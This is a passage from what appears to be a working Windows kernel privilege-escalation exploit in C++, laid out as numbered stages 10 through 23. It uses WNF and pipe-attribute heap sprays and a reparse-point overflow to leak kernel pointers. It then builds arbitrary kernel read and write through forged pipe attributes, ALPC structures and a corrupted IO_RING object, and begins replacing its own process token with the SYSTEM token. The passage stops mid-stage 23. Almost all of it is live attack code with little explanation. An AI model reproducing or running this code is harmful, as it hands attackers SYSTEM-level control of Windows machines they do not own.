    if (readSize > 0xFF0) {
        ULONG64 value = *(ULONG64*)(buffer.get() + 0xFF0);
        if (IsKernelPointer(value)) {
            g_leaked_kalpc = (PVOID)value;
            printf("[+] KERNEL POINTER LEAKED: 0x%p\n", g_leaked_kalpc);
            printf("[+] Stage 10 COMPLETE\n");
            return TRUE;
        }
    }

    printf("[-] No kernel pointer found\n");
    return FALSE;
}

//============================================================================
// STAGE 11: CREATE PIPES
//============================================================================

static BOOL Stage11_CreatePipes(void) {
    printf("\n=======================================\n");
    printf("    STAGE 11: CREATE PIPES\n");
    printf("=======================================\n");
```

```
    g_pipe_read = std::make_unique<HANDLE[]>(PIPE_SPRAY_COUNT);
    g_pipe_write = std::make_unique<HANDLE[]>(PIPE_SPRAY_COUNT);

    DWORD created = 0;
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (CreatePipe(&g_pipe_read[i], &g_pipe_write[i], NULL, 0x1000)) created++;
        else g_pipe_read[i] = g_pipe_write[i] = NULL;
    }

    printf("[+] Created %lu pipe pairs\n", created);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 11 COMPLETE\n");
    return TRUE;
}

//================================================================================
// STAGE 12: SPRAY PIPE ATTRIBUTES (CLAIM)
//================================================================================

static BOOL Stage12_SprayPipeAttributesClaim(void) {
    printf("\n=======================================\n");
    printf("    STAGE 12: SPRAY PIPE ATTRS (CLAIM)\n");
    printf("=======================================\n");

    char array_data_pipe[0x1000] = { 0 };
    memset(array_data_pipe, 0x54, 0x20);
    memset(array_data_pipe + 0x21, 0x54, 0x40);

    DWORD attrSet = 0;
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (g_pipe_write[i] == NULL) continue;
        IO_STATUS_BLOCK iosb = {};
        if (g_NtFsControlFile(g_pipe_write[i], NULL, NULL, NULL, &iosb,
            FSCTL_PIPE_SET_PIPE_ATTRIBUTE, array_data_pipe, PIPE_ATTR_CLAIM_SIZE, NULL,
0) == 0)
            attrSet++;
    }

    printf("[+] Set %lu pipe attributes\n", attrSet);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 12 COMPLETE\n");
    return TRUE;
}

//================================================================================
// STAGE 13: SECOND WNF SPRAY
//================================================================================

static BOOL Stage13_SecondWnfSpray(void) {
    printf("\n=======================================\n");
    printf("    STAGE 13: SECOND WNF SPRAY\n");
    printf("=======================================\n");
```

```
    g_wnf_pad_names_second =
std::make_unique<WNF_STATE_NAME[]>(WNF_PAD_SPRAY_COUNT_SECOND);
    g_wnf_names_second = std::make_unique<WNF_STATE_NAME[]>(WNF_SPRAY_COUNT_SECOND);
    g_wnf_active_second = std::make_unique<BOOL[]>(WNF_SPRAY_COUNT_SECOND);
    memset(g_wnf_active_second.get(), 0, WNF_SPRAY_COUNT_SECOND * sizeof(BOOL));

    PSECURITY_DESCRIPTOR pSecurityDescriptor = nullptr;
    ConvertStringSecurityDescriptorToSecurityDescriptorW(L"", SDDL_REVISION_1,
&pSecurityDescriptor, nullptr);

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x52, WNF_DATA_SIZE);

    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT_SECOND; i++) {
        g_NtCreateWnfStateName(&g_wnf_pad_names_second[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor);
    }
    for (DWORD i = 0; i < WNF_SPRAY_COUNT_SECOND; i++) {
        g_NtCreateWnfStateName(&g_wnf_names_second[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor);
    }

    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT_SECOND; i++) {
        g_NtUpdateWnfStateData(&g_wnf_pad_names_second[i], wnf_data.get(),
WNF_DATA_SIZE, NULL, NULL, 0, 0);
    }

    Sleep(SLEEP_NORMAL);

    DWORD updated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT_SECOND; i++) {
        if (g_NtUpdateWnfStateData(&g_wnf_names_second[i], wnf_data.get(),
WNF_DATA_SIZE, NULL, NULL, 0, 0) == 0) {
            g_wnf_active_second[i] = TRUE;
            updated++;
        }
    }

    LocalFree(pSecurityDescriptor);
    printf("[+] Created and updated %lu second wave WNF\n", updated);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 13 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 14: CREATE HOLES (SECOND)
//============================================================================

static BOOL Stage14_CreateHolesSecond(void) {
    printf("\n=======================================\n");
    printf("    STAGE 14: CREATE HOLES (SECOND)\n");
    printf("=======================================\n");

    DWORD deleted = 0;
```

```
    for (DWORD i = 0; i < WNF_SPRAY_COUNT_SECOND; i += 2) {
        if (g_wnf_active_second[i]) {
            if (g_NtDeleteWnfStateName(&g_wnf_names_second[i]) == 0) {
                g_wnf_active_second[i] = FALSE;
                deleted++;
            }
        }
    }

    printf("[+] Created %lu holes\n", deleted);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 14 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 15: PLACE SECOND OVERFLOW
//============================================================================

static BOOL Stage15_PlaceSecondOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 15: PLACE SECOND OVERFLOW\n");
    printf("=======================================\n");

    SetFileAttributesW(g_filePath_second, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath_second);

    HANDLE hFile = CreateFileW(g_filePath_second, GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create second file: %lu\n", GetLastError());
        return FALSE;
    }

    std::unique_ptr<char[]> payload(new char[REPARSE_DATA_SIZE]);
    memset(payload.get(), PAYLOAD_FILL_BYTE, 0x1000);
    memset(payload.get() + 0x1000, 0, REPARSE_DATA_SIZE - 0x1000);

    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x00) = 0x00200904;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x04) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x08) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x0C) = CHANGE_STAMP_SECOND;

    int rc = BuildAndSetReparsePoint(hFile, PAYLOAD_SIZE_OVERFLOW, payload.get());
    CloseHandle(hFile);

    if (rc != 0) {
        printf("[-] Failed to set reparse point\n");
        return FALSE;
    }

    printf("[+] Reparse point set (ChangeStamp=0x%04X)\n", CHANGE_STAMP_SECOND);
    printf("[+] Stage 15 COMPLETE\n");
```

```
    return TRUE;
}

//============================================================================
// STAGE 16: TRIGGER SECOND OVERFLOW
//============================================================================

static BOOL Stage16_TriggerSecondOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 16: TRIGGER SECOND OVERFLOW\n");
    printf("=======================================\n");

    HANDLE hFile = CreateFileW(g_filePath_second, GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open second file: %lu\n", GetLastError());
        return FALSE;
    }

    CloseHandle(hFile);
    printf("[+] Second overflow triggered\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_SHORT);
    printf("[+] Stage 16 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 17: FILL WITH PIPE ATTRIBUTES
//============================================================================

static BOOL Stage17_FillWithPipeAttributes(void) {
    printf("\n=======================================\n");
    printf("    STAGE 17: FILL WITH PIPE ATTRS\n");
    printf("=======================================\n");

    char array_data_pipe[0x1000] = { 0 };
    memset(array_data_pipe, 0x55, 0x20);
    memset(array_data_pipe + 0x21, 0x55, 0x40);

    DWORD attrSet = 0;
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (g_pipe_write[i] == NULL) continue;
        IO_STATUS_BLOCK iosb = {};
        if (g_NtFsControlFile(g_pipe_write[i], NULL, NULL, NULL, &iosb,
            FSCTL_PIPE_SET_PIPE_ATTRIBUTE, array_data_pipe, PIPE_ATTR_FILL_SIZE, NULL,
0) == 0)
            attrSet++;
    }

    printf("[+] Set %lu large pipe attributes\n", attrSet);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_LONG + 3000);
    printf("[+] Stage 17 COMPLETE\n");
```

```
    return TRUE;
}

//============================================================================
// STAGE 18: FIND SECOND VICTIM AND LEAK PIPE
//============================================================================

static BOOL Stage18_FindSecondVictimAndLeakPipe(void) {
    printf("\n=======================================\n");
    printf("    STAGE 18: FIND VICTIM & LEAK PIPE\n");
    printf("=======================================\n");

    g_victim_index_second = -1;
    g_leaked_pipe_attr = NULL;

    for (DWORD i = 1; i < WNF_SPRAY_COUNT_SECOND; i += 2) {
        if (!g_wnf_active_second[i]) continue;

        ULONG bufferSize = 0;
        WNF_CHANGE_STAMP changeStamp = 0;

        NTSTATUS status = g_NtQueryWnfStateData(&g_wnf_names_second[i], NULL, NULL,
&changeStamp, NULL, &bufferSize);

        if ((status == STATUS_BUFFER_TOO_SMALL || status == 0) && changeStamp ==
CHANGE_STAMP_SECOND) {
            g_victim_index_second = i;
            printf("[+] Found second victim WNF at index %d\n", i);

            if (bufferSize >= 0xFF8) {
                auto buffer = std::make_unique<BYTE[]>(bufferSize + 0x10);
                ULONG readSize = bufferSize;
                g_NtQueryWnfStateData(&g_wnf_names_second[i], NULL, NULL, &changeStamp,
buffer.get(), &readSize);

                if (readSize >= 0xFF8) {
                    ULONG64 oob_value = *(ULONG64*)(buffer.get() + 0xFF0);
                    if (IsKernelPointer(oob_value)) {
                        g_leaked_pipe_attr = (PVOID)oob_value;
                        printf("[+] PIPE_ATTRIBUTE LEAKED: 0x%p\n",
g_leaked_pipe_attr);
                    }
                }
            }
            break;
        }
    }

    if (g_victim_index_second == -1) {
        printf("[-] No corrupted WNF found (second wave)\n");
        return FALSE;
    }

    printf("[+] Stage 18 COMPLETE\n");
    return TRUE;
}
```

```
//============================================================================
// STAGE 19: SETUP ARBITRARY READ
//============================================================================

static BOOL Stage19_SetupArbitraryRead(void) {
    printf("\n=======================================\n");
    printf("    STAGE 19: SETUP ARBITRARY READ\n");
    printf("=======================================\n");

    if (g_victim_index_second == -1 || g_leaked_kalpc == NULL) {
        printf("[-] Missing prerequisites\n");
        return FALSE;
    }

    memset(g_fake_pipe_attr, 0, sizeof(g_fake_pipe_attr));
    memset(g_fake_pipe_attr2, 0, sizeof(g_fake_pipe_attr2));

    ULONG64* fake1 = (ULONG64*)g_fake_pipe_attr;
    fake1[0] = (ULONG64)g_fake_pipe_attr2;
    fake1[1] = (ULONG64)g_leaked_pipe_attr;
    fake1[2] = (ULONG64)g_fake_attr_name;
    fake1[3] = 0x28;
    fake1[4] = (ULONG64)g_leaked_kalpc;
    fake1[5] = 0x6969696969696969ULL;

    ULONG64* fake2 = (ULONG64*)g_fake_pipe_attr2;
    fake2[0] = 0x7070707070707070ULL;
    fake2[1] = (ULONG64)g_fake_pipe_attr;
    fake2[2] = (ULONG64)g_fake_attr_name2;
    fake2[3] = 0x28;
    fake2[4] = (ULONG64)g_leaked_kalpc;
    fake2[5] = 0x7171717171717171ULL;

    printf("[+] Fake pipe_attr at: 0x%p\n", g_fake_pipe_attr);

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0x56, 0xFF8);
    *(ULONG64*)(overflow_data.get() + 0xFF8 - 8) = (ULONG64)g_fake_pipe_attr;

    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names_second[g_victim_index_second],
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_SECOND, 0
    );

    if (status != 0) {
        printf("[-] WNF update failed: 0x%08X\n", status);
        return FALSE;
    }

    printf("[+] pipe_attribute->Flink corrupted\n");
    printf("[+] Stage 19 COMPLETE\n");
    return TRUE;
}

//============================================================================
```

```
// STAGE 20: READ KERNEL MEMORY
//============================================================================

static BOOL Stage20_ReadKernelMemory(void) {
    printf("\n=======================================\n");
    printf("    STAGE 20: READ KERNEL MEMORY\n");
    printf("=======================================\n");

    g_target_pipe_index = -1;
    BYTE buffer[0x1000] = { 0 };
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (g_pipe_write[i] == NULL) continue;
        IO_STATUS_BLOCK iosb = {};
        NTSTATUS status = g_NtFsControlFile(g_pipe_write[i], NULL, NULL, NULL, &iosb,
            FSCTL_PIPE_GET_PIPE_ATTRIBUTE, g_fake_attr_name,
(ULONG)strlen(g_fake_attr_name) + 1,
            buffer, sizeof(buffer));
        if (status == 0) {
            ULONG64* data = (ULONG64*)buffer;
            if (!IsKernelPointer(data[0]) || !IsKernelPointer(data[1]) ||
!IsKernelPointer(data[3])) {
                printf("[-] Pipe %lu: invalid KALPC_RESERVE pointers, skipping\n", i);
                continue;
            }
            g_target_pipe_index = i;
            printf("[+] Found target pipe at index %lu\n", i);
            printf("[*] KALPC_RESERVE:\n");
            for (int j = 0; j < 4; j++) {
                printf("    +0x%02X: 0x%016llX\n", j * 8, (unsigned long long)data[j]);
            }
            g_alpc_port_addr = data[0];
            g_alpc_handle_table_addr = data[1];
            g_alpc_message_addr = data[3];
            break;
        }
    }
    if (g_target_pipe_index == -1) {
        printf("[-] Failed to read kernel memory via any pipe\n");
        return FALSE;
    }
    printf("[+] Arbitrary READ primitive established!\n");
    printf("[+] Stage 20 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 21: DISCOVER EPROCESS AND TOKEN
//============================================================================

static BOOL Stage21_DiscoverEprocessAndToken(void) {
    printf("\n=======================================\n");
    printf("    STAGE 21: DISCOVER EPROCESS/TOKEN\n");
    printf("=======================================\n");

    printf("[+] ALPC_PORT: 0x%016llX\n", (unsigned long long)g_alpc_port_addr);
```

```
    BYTE alpc_port_data[0x200];
    if (!ReadKernelBuffer(g_alpc_port_addr, alpc_port_data, sizeof(alpc_port_data))) {
        printf("[-] Failed to read ALPC_PORT\n");
        return FALSE;
    }

    g_eprocess_addr = *(ULONG64*)(alpc_port_data + 0x18);

    if (!IsKernelPointer(g_eprocess_addr)) {
        for (int offset = 0x10; offset <= 0x38; offset += 8) {
            ULONG64 candidate = *(ULONG64*)(alpc_port_data + offset);
            if (!IsKernelPointer(candidate)) continue;

            char test_name[16] = { 0 };
            if (ReadKernelBuffer(candidate + EPROCESS_IMAGEFILENAME_OFFSET, test_name,
15)) {
                BOOL valid = TRUE;
                for (int j = 0; j < 15 && test_name[j]; j++) {
                    if (test_name[j] < 32 || test_name[j] >= 127) { valid = FALSE;
break; }
                }
                if (valid && test_name[0]) {
                    g_eprocess_addr = candidate;
                    printf("[+] EPROCESS: 0x%016llX (%s)\n", (unsigned long
long)candidate, test_name);
                    break;
                }
            }
        }
    }
    else {
        char name[16] = { 0 };
        ReadKernelBuffer(g_eprocess_addr + EPROCESS_IMAGEFILENAME_OFFSET, name, 15);
        printf("[+] EPROCESS: 0x%016llX (%s)\n", (unsigned long long)g_eprocess_addr,
name);
    }

    if (!IsKernelPointer(g_eprocess_addr)) {
        printf("[-] Could not find EPROCESS\n");
        return FALSE;
    }

    DWORD our_pid = GetCurrentProcessId();
    printf("[*] Our PID: %lu\n", our_pid);

    ULONG64 current = g_eprocess_addr;
    ULONG64 start = g_eprocess_addr;
    int count = 0;

    do {
        BYTE chunk[0x180];
        if (!ReadKernelBuffer(current + 0x440, chunk, sizeof(chunk))) break;

        ULONG pid = *(ULONG*)(chunk + 0);
        ULONG64 flink = *(ULONG64*)(chunk + 8);
        ULONG64 token_raw = *(ULONG64*)(chunk + 0x78);
```

```
        char name[16] = { 0 };
        memcpy(name, chunk + 0x168, 15);

        ULONG64 token = token_raw & ~0xFULL;

        if (pid == 4) {
            g_system_eprocess = current;
            g_system_token = token;
            g_system_token_raw = token_raw;
            printf("[+] SYSTEM EPROCESS: 0x%016llX\n", (unsigned long long)current);
            printf("[+] SYSTEM Token: 0x%016llX (raw: 0x%016llX)\n",
                (unsigned long long)token, (unsigned long long)token_raw);
        }
        if (pid == our_pid) {
            g_our_eprocess = current;
            g_our_token = token;
            printf("[+] Our EPROCESS: 0x%016llX\n", (unsigned long long)current);
            printf("[+] Our Token: 0x%016llX\n", (unsigned long long)token);
        }
        if (_stricmp(name, "winlogon.exe") == 0) {
            g_winlogon_pid = pid;
            printf("[+] Winlogon PID: %lu\n", pid);
        }

        if (g_system_eprocess && g_our_eprocess && g_winlogon_pid) break;
        if (!IsKernelPointer(flink)) break;

        current = flink - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
        if (current == start) break;
        count++;
    } while (count < 500);

    if (!g_system_eprocess || !g_our_eprocess) {
        printf("[-] Failed to find required processes\n");
        return FALSE;
    }

    if (!IsKernelPointer(g_system_token) || !IsKernelPointer(g_our_token)) {
        printf("[-] Token values don't look valid\n");
        printf("    System token raw: 0x%016llX\n", (unsigned long
long)g_system_token);
        printf("    Our token raw: 0x%016llX\n", (unsigned long long)g_our_token);
        return FALSE;
    }

    if (g_winlogon_pid == 0) {
        printf("[-] Warning: winlogon.exe not found during walk\n");
    }

    printf("[+] Stage 21 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 22: IO_RING SETUP (ALPC BOOTSTRAP)
//============================================================================
```

```
static BOOL Stage22_IoRingSetup(void) {
    printf("\n=======================================\n");
    printf("    STAGE 22: IO_RING SETUP (ALPC BOOTSTRAP)\n");
    printf("=======================================\n");

    if (g_victim_index == -1 || g_our_eprocess == 0 || g_system_token_raw == 0 ||
        g_alpc_handle_table_addr == 0) {
        printf("[-] Missing prerequisites for IO_RING setup\n");
        return FALSE;
    }

    printf("[*] Step A: Creating IO_RING...\n");
    IORING_CREATE_FLAGS ioringFlags = {};
    ioringFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
    ioringFlags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;

    HRESULT hr = CreateIoRing(IORING_VERSION_3, ioringFlags, 0x10000, 0x20000,
&g_ioring_handle);
    if (FAILED(hr) || g_ioring_handle == NULL) {
        printf("[-] CreateIoRing failed: 0x%08X\n", (unsigned)hr);
        return FALSE;
    }
    printf("[+] IO_RING created: handle=0x%p\n", g_ioring_handle);

    printf("[*] Step B: Creating named pipe for IO_RING data channel...\n");

    DWORD currentPid = GetCurrentProcessId();
    wchar_t pipeName[MAX_PATH];
    swprintf(pipeName, MAX_PATH, L"\\\\.\\pipe\\ioring_input_%lu", currentPid);

    g_input_pipe_server = CreateNamedPipeW(
        pipeName,
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
        1, 0x1000, 0x1000, 0, NULL
    );
    if (g_input_pipe_server == INVALID_HANDLE_VALUE) {
        printf("[-] CreateNamedPipe failed: %lu\n", GetLastError());
        return FALSE;
    }

    g_input_pipe_client = CreateFileW(
        pipeName,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    );
    if (g_input_pipe_client == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile (pipe client) failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Input pipe created: server=0x%p, client=0x%p\n",
        g_input_pipe_server, g_input_pipe_client);

    printf("[*] Step C: Finding IORING_OBJECT kernel address...\n");
    g_ioring_object_addr = FindIoRingObjectAddress(g_ioring_handle);
```

```
    if (g_ioring_object_addr == 0 || !IsKernelPointer(g_ioring_object_addr)) {
        printf("[-] Failed to find IORING_OBJECT address\n");
        return FALSE;
    }
    printf("[+] IORING_OBJECT: 0x%016llX\n", (unsigned long long)g_ioring_object_addr);

    printf("[*] Step D: Allocating fake IOP_MC_BUFFER_ENTRY...\n");
    g_fake_buffer_entry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(
        NULL, sizeof(IOP_MC_BUFFER_ENTRY),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
    if (!g_fake_buffer_entry) {
        printf("[-] VirtualAlloc for fake buffer entry failed\n");
        return FALSE;
    }
    memset(g_fake_buffer_entry, 0, sizeof(IOP_MC_BUFFER_ENTRY));
    g_fake_buffer_entry->Type = 0x0C02;
    g_fake_buffer_entry->Size = 0x80;
    g_fake_buffer_entry->ReferenceCount = 1;
    g_fake_buffer_entry->AccessMode = 1;
    g_fake_buffer_entry->Mdl = NULL;

    printf("[+] Fake IOP_MC_BUFFER_ENTRY at: 0x%p (Type=0x%04X, Size=0x%X)\n",
        g_fake_buffer_entry, g_fake_buffer_entry->Type, g_fake_buffer_entry->Size);

    printf("[*] Step E: Allocating fake RegBuffers array...\n");
    g_fake_buffers_array = (PULONG64)VirtualAlloc(
        NULL, sizeof(ULONG64),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
    if (!g_fake_buffers_array) {
        printf("[-] VirtualAlloc for fake buffers array failed\n");
        return FALSE;
    }
    g_fake_buffers_array[0] = (ULONG64)g_fake_buffer_entry;
    printf("[+] Fake RegBuffers array at: 0x%p -> [0x%p]\n",
        g_fake_buffers_array, g_fake_buffer_entry);

    printf("[*] Step F: Using ALPC write to corrupt IORING_OBJECT.RegBuffers...\n");

    ULONG64 ioring_target = g_ioring_object_addr +
IORING_OBJECT_REGBUFFERSCOUNT_OFFSET;
    printf("[*] ALPC write target: IORING_OBJECT+0xB0 = 0x%016llX\n",
        (unsigned long long)ioring_target);

    ULONG64 pre_ioring[2] = { 0, 0 };
    if (ReadKernelBuffer(ioring_target, pre_ioring, 0x10)) {
        printf("[*] IORING_OBJECT+0xB0 BEFORE: 0x%016llX (RegBuffersCount +
padding)\n",
            (unsigned long long)pre_ioring[0]);
        printf("[*] IORING_OBJECT+0xB8 BEFORE: 0x%016llX (RegBuffers)\n",
            (unsigned long long)pre_ioring[1]);
    }

    printf("[*] Setting up fake KALPC structures...\n");
```

```
    g_fake_kalpc_reserve_object = (BYTE*)VirtualAlloc(NULL, sizeof(KALPC_RESERVE) +
0x20, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    g_fake_kalpc_message_object = (BYTE*)VirtualAlloc(NULL, sizeof(KALPC_MESSAGE) +
0x20, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!g_fake_kalpc_reserve_object || !g_fake_kalpc_message_object) {
        printf("[-] Memory allocation failed for fake KALPC structures\n");
        return FALSE;
    }

    *(ULONG64*)(g_fake_kalpc_reserve_object + 0x00) = 0x0000000000000700;
    *(ULONG64*)(g_fake_kalpc_reserve_object + 0x08) = 0x0000000000000001;
    *(ULONG64*)(g_fake_kalpc_message_object + 0x08) = 0x0000000000000001;

    KALPC_RESERVE* fake_kalpc_reserve = (KALPC_RESERVE*)(g_fake_kalpc_reserve_object +
0x20);
    KALPC_MESSAGE* fake_kalpc_message = (KALPC_MESSAGE*)(g_fake_kalpc_message_object +
0x20);

    fake_kalpc_reserve->Size = 0x28;
    fake_kalpc_reserve->Message = fake_kalpc_message;

    fake_kalpc_message->Reserve = fake_kalpc_reserve;
    fake_kalpc_message->ExtensionBuffer = (PVOID)ioring_target;
    fake_kalpc_message->ExtensionBufferSize = 0x10;

    printf("[+] Fake KALPC_RESERVE: 0x%p\n", fake_kalpc_reserve);
    printf("[+] Fake KALPC_MESSAGE: 0x%p\n", fake_kalpc_message);
    printf("[+] ExtensionBuffer -> IORING_OBJECT+0xB0: 0x%016llX\n",
        (unsigned long long)ioring_target);

    printf("\n[*] Corrupting via first WNF overflow...\n");
    printf("[*] Victim WNF index: %d\n", g_victim_index);

    ULONG verifySize = 0;
    WNF_CHANGE_STAMP verifyStamp = 0;
    NTSTATUS verifyStatus = g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL,
NULL, &verifyStamp, NULL, &verifySize);
    printf("[*] Victim WNF status: 0x%08X, stamp: 0x%lX, size: 0x%lX\n", verifyStatus,
verifyStamp, verifySize);

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0, 0xFF8);
    memset(overflow_data.get(), 0x48, 0x200);

    *(ULONG64*)(overflow_data.get() + 0xFF0) = (ULONG64)fake_kalpc_reserve;

    printf("[*] Writing fake KALPC_RESERVE pointer 0x%p at offset 0xFF0\n",
fake_kalpc_reserve);

    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names[g_victim_index],
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_FIRST, 0
    );

    printf("[*] WNF update status: 0x%08X\n", status);
```

```
    if (status != 0) {
        printf("[-] WNF update failed: 0x%08X\n", status);
        return FALSE;
    }

    printf("[+] First WNF overflow complete - Handles array entry corrupted\n");

    printf("[*] Sending ALPC messages with IO_RING corruption payload...\n");
    printf("[*] pData[0] = 0x%016llX (RegBuffersCount=1)\n", (unsigned long long)1ULL);
    printf("[*] pData[1] = 0x%016llX (fake RegBuffers array)\n", (unsigned long
long)(ULONG_PTR)g_fake_buffers_array);

    ALPC_MESSAGE alpc_message;
    memset(&alpc_message, 0, sizeof(alpc_message));

    alpc_message.PortHeader.u1.s1.DataLength = 0x10;
    alpc_message.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + 0x10;
    alpc_message.PortHeader.MessageId = (ULONG)(ULONG_PTR)g_saved_reserve_handle;

    ULONG_PTR* pData = (ULONG_PTR*)((BYTE*)&alpc_message + sizeof(PORT_MESSAGE));
    pData[0] = (ULONG_PTR)1ULL;
    pData[1] = (ULONG_PTR)g_fake_buffers_array;

    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        if (g_alpc_ports[i] == NULL) continue;
        g_NtAlpcSendWaitReceivePort(g_alpc_ports[i], 0, (PPORT_MESSAGE)&alpc_message,
NULL, NULL, NULL, NULL, NULL);
    }

    printf("[+] ALPC messages sent\n");
    Sleep(100);

    printf("[*] Step G: Patching user-mode HIORING...\n");
    BYTE* hioringPtr = (BYTE*)g_ioring_handle;
    *(PULONG)(hioringPtr + HIORING_OFFSET_BUFFER_ARRAY_SIZE) = 1;
    *(PVOID*)(hioringPtr + HIORING_OFFSET_REG_BUFFER_ARRAY) =
(PVOID)g_fake_buffers_array;
    printf("[+] HIORING patched: BufferArraySize=1, RegBufferArray=0x%p\n",
        g_fake_buffers_array);

    printf("[*] Step H: Verifying IORING_OBJECT corruption via pipe read...\n");
    ULONG64 post_ioring[2] = { 0, 0 };
    if (ReadKernelBuffer(ioring_target, post_ioring, 0x10)) {
        printf("[*] IORING_OBJECT+0xB0 AFTER: 0x%016llX (RegBuffersCount + padding)\n",
            (unsigned long long)post_ioring[0]);
        printf("[*] IORING_OBJECT+0xB8 AFTER: 0x%016llX (RegBuffers)\n",
            (unsigned long long)post_ioring[1]);

        if ((post_ioring[0] & 0xFFFFFFFF) == 1 &&
            post_ioring[1] == (ULONG64)g_fake_buffers_array) {
            printf("[+] VERIFIED: IORING_OBJECT.RegBuffers corrupted successfully!\n");
            printf("[+] RegBuffersCount=1, RegBuffers=0x%016llX\n",
                (unsigned long long)post_ioring[1]);
        }
        else {
            printf("[!] WARNING: IORING_OBJECT corruption not fully verified\n");
```

```
            printf("[!] Expected count=1, got low32=0x%X; expected ptr=0x%p,
got=0x%llX\n",
                (unsigned)(post_ioring[0] & 0xFFFFFFFF), g_fake_buffers_array,
                (unsigned long long)post_ioring[1]);

        }
    }

    printf("[+] Stage 22 COMPLETE -- IO_RING primitive established\n");
    return TRUE;
}

//============================================================================
// STAGE 23: TOKEN STEALING VIA IO_RING WRITE
//============================================================================

static BOOL Stage23_IoRingTokenStealing(void) {
    printf("\n=======================================\n");
    printf("    STAGE 23: TOKEN STEALING VIA IO_RING\n");
    printf("=======================================\n");

    if (g_ioring_handle == NULL || g_our_eprocess == 0 ||
        g_system_token_raw == 0 || g_fake_buffer_entry == NULL) {
        printf("[-] Missing prerequisites for IO_RING token stealing\n");
        return FALSE;
    }

    ULONG64 token_target = g_our_eprocess + EPROCESS_TOKEN_OFFSET;
    printf("[*] Token stealing: overwrite EPROCESS+0x4B8 with SYSTEM token\n");
    printf("[*] Target: 0x%016llX (our EPROCESS+0x4B8)\n", (unsigned long
long)token_target);
    printf("[*] Using IO_RING write -- EXACTLY 8 bytes (no adjacent field
corruption)\n");

    printf("\n[*] Step A: Reading current EPROCESS+0x4B8 via pipe read...\n");
    ULONG64 pre_token = 0;
    ULONG64 pre_adjacent = 0;
    BOOL pipe_read_reliable = TRUE;
    BOOL readOk1 = ReadKernel64(token_target, &pre_token);
    BOOL readOk2 = ReadKernel64(token_target + 8, &pre_adjacent);

    if (!readOk1 || !readOk2 || pre_token == token_target || pre_adjacent ==
(token_target + 8)) {
        printf("[!] WARNING: Pipe read appears unreliable (value == address
pattern)\n");
        printf("[!] This can happen after ALPC operations destabilize the pipe
corruption\n");
        printf("[!] IO_RING write will proceed -- SID check in Stage 24 is
definitive\n");
        pipe_read_reliable = FALSE;
    }
    else {
        printf("[*] Current token:       0x%016llX (stripped: 0x%016llX)\n",
            (unsigned long long)pre_token, (unsigned long long)(pre_token & ~0xFULL));
        printf("[*] Adjacent field (+0x4C0): 0x%016llX (should be UNTOUCHED after
write)\n",
```

```
            (unsigned long long)pre_adjacent);
    }

